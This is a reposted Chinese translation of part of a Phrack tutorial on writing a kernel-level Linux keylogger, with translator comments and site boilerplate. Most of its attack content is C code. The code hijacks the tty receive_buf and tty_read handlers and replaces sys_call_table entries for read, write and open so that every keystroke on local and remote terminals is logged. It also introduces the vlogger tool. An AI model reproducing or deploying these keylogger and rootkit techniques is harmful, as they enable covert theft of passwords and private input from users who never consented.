书写基于内核的linux键盘纪录器(p9-0e)(3)

2008-04-09 04:00:06来源:互联网 阅读 ()

底层tty驱动调用receive_buf()这个函数用来发送硬件设备接收处理的字符。

# /usr/src/linux/drivers/char/n_tty.c */

static void n_tty_receive_buf(struct tty_struct *tty, const

unsigned char *cp, char *fp, int count)

参数cp是一个指向设备接收的输入字符的buffer的指针。参数fp是一个指向一个标记字节指针的指针。

让我们深入的看一看tty结构

# /usr/include/linux/tty.h

struct tty_struct {

int magic;

struct tty_driver driver;

struct tty_ldisc ldisc;

struct termios *termios, *termios_locked;

...

}

# /usr/include/linux/tty_ldisc.h

struct tty_ldisc {

int magic;

char *name;

...

void (*receive_buf)(struct tty_struct *,

const unsigned char *cp, char *fp, int count);

int (*receive_room)(struct tty_struct *);

void (*write_wakeup)(struct tty_struct *);

};

要劫持这个函数,我们可以先保存原始的tty receive_buf()函数,然后重置ldisc.receive_buf到

我们的new_receive_buf()函数来记录用户的输入。

举个例子:我们要记录在tty0设备上的输入。

int fd = open("/dev/tty0", O_RDONLY, 0);

struct file *file = fget(fd);

struct tty_struct *tty = file->private_data;

old_receive_buf = tty->ldisc.receive_buf; //保存原始的receive_buf()函数

tty->ldisc.receive_buf = new_receive_buf; //替换成新的new_receive_buf函数

//新的new_receive_buf函数

void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,

char *fp, int count)

{

logging(tty, cp, count); //纪录用户击键

/* 调用回原来的receive_buf */

(*old_receive_buf)(tty, cp, fp, count);

}

/*e4gle add

其实这里新的new_receive_buf函数只是做了个包裹,技术上实现大同小异,包括劫持系统调用

内核函数等,技术上归根都比较简单,难点在于如何找到切入点,即劫持哪个函数可以达到目的,或者

效率更高更稳定等,这就需要深入了解这些内核函数的实现功能。

*/

------[ 3.2.4 - tty_read函数

当一个进程需要通过sys_read()函数来读取一个tty终端的输入字符的时候,tty_read函数就会被调用。

# /usr/src/linux/drives/char/tty_io.c

static ssize_t tty_read(struct file * file, char * buf, size_t count,

loff_t *ppos)

static struct file_operations tty_fops = {

llseek: tty_lseek,

read: tty_read,

write: tty_write,

poll: tty_poll,

ioctl: tty_ioctl,

open: tty_open,

release: tty_release,

fasync: tty_fasync,

};

还是举上面的纪录来自tty0的输入信息的例子:

int fd = open("/dev/tty0", O_RDONLY, 0);

struct file *file = fget(fd);

old_tty_read = file->f_op->read; //保存原来的tty_read

file->f_op->read = new_tty_read; //替换新的tty_read函数

/*e4gle add

劫持这个函数的具体实现代码就不多说了,和上面是一样的,我这里写出来给大家参考一下:

static ssize_t new_tty_read(struct file * file, char * buf, size_t count,

loff_t *ppos)

{

struct tty_struct *tty = file->private_data;

logging(tty, buf, count); //纪录用户击键

/* 调用回原来的tty_read */

(*old_tty_read)(file, buf, count, ppos);

}

*/

------[ 3.2.5 - sys_read/sys_write函数

截获sys_read/sys_write这两个系统调用来实现的技术我不说了,在很早的quack翻译

的“linux内核可加载模块编程完全指南”中就提到了这种技术,在我写的“linux kernel hacking”

若干教程中也明明白白反反复复提到过,phrack杂志也早在50期的第四篇文章里也介绍到,

如果大家不明白请参考以上文献。

我提供以下code来实现劫持sys_read和sys_write系统调用:

extern void *sys_call_table[];

original_sys_read = sys_call_table[__NR_read];

sys_call_table[__NR_read] = new_sys_read;

当然除了替换sys_call_table表之外还有很多方法,在phrack59中的高级kernel hacking一文

中详细针对现有的几种劫持系统调用的方法有演示代码,这里不多做介绍了。

--[ 4 - vlogger

这节介绍一下一个内核键盘纪录器vlogger,是本文的原作者的大作,它是通过3.2.3节中

介绍的方法来实现纪录用户击键的,也利用了劫持sys_read/sys_write系统调用来做补充。

vlogger在如下内核中测试通过:2.4.5,2.4.7,2.4.17,2.4.18。

----[ 4.1 - 步骤

要记录下本地(纪录终端的信息)和远程会话的键盘击键 ,我选择劫持receive_buf函数的

方法(见3.2.3节)。

在内核中,tty_struct和tty_queue结构仅仅在tty设备打开的时候被动态分配。因而,我们

同样需要通过劫持sys_open系统调用来动态的hooking这些每次调用时的每个tty或pty的

receive_buf()函数。

// 劫持sys_open调用

original_sys_open = sys_call_table[__NR_open];

sys_call_table[__NR_open] = new_sys_open;

// new_sys_open()

asmlinkage int new_sys_open(const char *filename, int flags, int mode)

{

...

//调用original_sys_open

ret = (*original_sys_open)(filename, flags, mode);

if (ret >= 0) {

struct tty_struct * tty;

...

file = fget(ret);

tty = file->private_data;

if (tty != NULL &&

...

tty->ldisc.receive_buf != new_receive_buf) {

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com

特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

相关文章

linux open dev/tty0 receive_buf,书写基于内核的linux键盘纪录器(p9-0e)(3)相关推荐

  1. linux读取 dev tty0,linux命令: ls命令

    ls命令:(list directory contents),列出目录内容 用法: ls [option] [file_or_dirs] ls命令常用选项 -l 显示文件的长格式信息 -d 显示目录或 ...

  2. Linux设备驱动开发详解 第3版 (即 Linux设备驱动开发详解 基于最新的Linux 4 0内核 )前言

    Linux从未停歇脚步.Linus Torvalds,世界上最伟大的程序员之一,Linux内核的创始人,Git的缔造者,仍然在没日没夜的合并补丁,升级内核.做技术,从来没有终南捷径,拼的就是坐冷板凳的 ...

  3. linux修改时间_技术干货||基于Centos8的Linux简单入门学习笔记

    很基础 以后不想记笔记了 最后分享一次

  4. 嵌入式linux与pc串口传输文件基于lrzsz

    嵌入式linux与pc串口传输文件基于lrzsz 嵌入式linux传输应用程序通常用nfs.tftp等比较麻烦,一般小应用也就几k用串口就行,这里给出一种串口传输文件的方式lrzsz lzsz需要在开 ...

  5. u-boot的linux内核映像加载,基于U_Boot的Linux内核映像加载与引导功能实现.pdf

    基于U_Boot的Linux内核映像加载与引导功能实现 20 10 8 ( ) Aug . 2010 10 4 Journal of Langfang T eachers College( N atu ...

  6. 基于块的linux驱动程序,基于块的Linux驱动程序 块设备驱动 centos内核编译过程 操作系统课程设计...

    操作系统的课程设计,本人也是一头雾水地做完了课程设计,在这里贴下操作过程,放下当时参考的一篇CSDN文章链接:https://blog.csdn.net/cxy_chen/article/detail ...

  7. 国外linux内核视频播放器,基于Video for Linux内核的USB摄像头视频信号采集实现

    摘要:Video for Linux是Linux中关于视频设备的内核驱动,本文介绍了在Video for Linux内 >> 基于ARM9和USB摄像头的网络视频采集系统设计 基于嵌入式V ...

  8. 基于树莓派对Linux内核简单认识

    基于树莓派对Linux内核简单认识 树莓派等芯片带操作系统的启动过程 Linux 内核源码 Linux 内核源码目录树 安装tree命令 目录树结构 Linux根目录下 \ 树莓派Linux源码配置 ...

  9. [转载]基于ARM的linux内核裁剪与移植

    基于ARM的linux内核裁剪与移植 http://bbs.elecfans.com/forum.php?mod=viewthread&tid=185020  wutaimin( 楼主 ) 2 ...

最新文章

  1. MATLAB 多项式
  2. 刚体Collider包围测试
  3. Linux中文显示乱码?如何设置centos显示中文
  4. 最受 IT 公司欢迎的 30 款开源软件
  5. rabbit MQ 的环境及命令使用(一)
  6. gis发布及应用服务器,超图云GIS应用服务器平台
  7. CArray动态数组
  8. ALAsset 循环获取图片(Assets Library Framework)
  9. XMLReader—一个可以读取XML文件的java类
  10. java lock unlock_【Java并发007】原理层面:ReentrantLock中lock()、unlock()全解析
  11. Linux下ELF二进制文件加壳,pe/elf 文件加壳时的处理
  12. android studio计步,基于安卓Android平台的健康计步系统APP的设计(AndroidStudio)
  13. 《基于移动互联的智慧健康社区系统的研发》 CSCD
  14. VUE H5页面微信/QQ/微博 分享连接设置
  15. 【软件测试】基础-概念篇
  16. DOM4J+JAXEN
  17. Android系统应用隐藏和应用禁止卸载
  18. 解密方舟编译器和EMUI未来四大演进方向
  19. 亚特兰蒂斯【线段树+扫描线+离散化】
  20. 通过PYTHON爬虫爬取明星的照片和资料

热门文章

  1. 集合类 List 的那些坑
  2. 企业级iptalbes防火墙
  3. 小白程序员最容易踩的“坑”,你踩过几个?
  4. 【linux系统编程】基础开发工具:yum
  5. 移动开发利器——APICloud开发平台介绍
  6. io python 读取pdf_python自动化办公之 Python 解析 PDF
  7. 剑指offer25-合并两个排序的链表
  8. 带宽检测工具iftop
  9. python中的zip、map、reduce 、lambda、filter函数的使用
  10. go语言生成uuid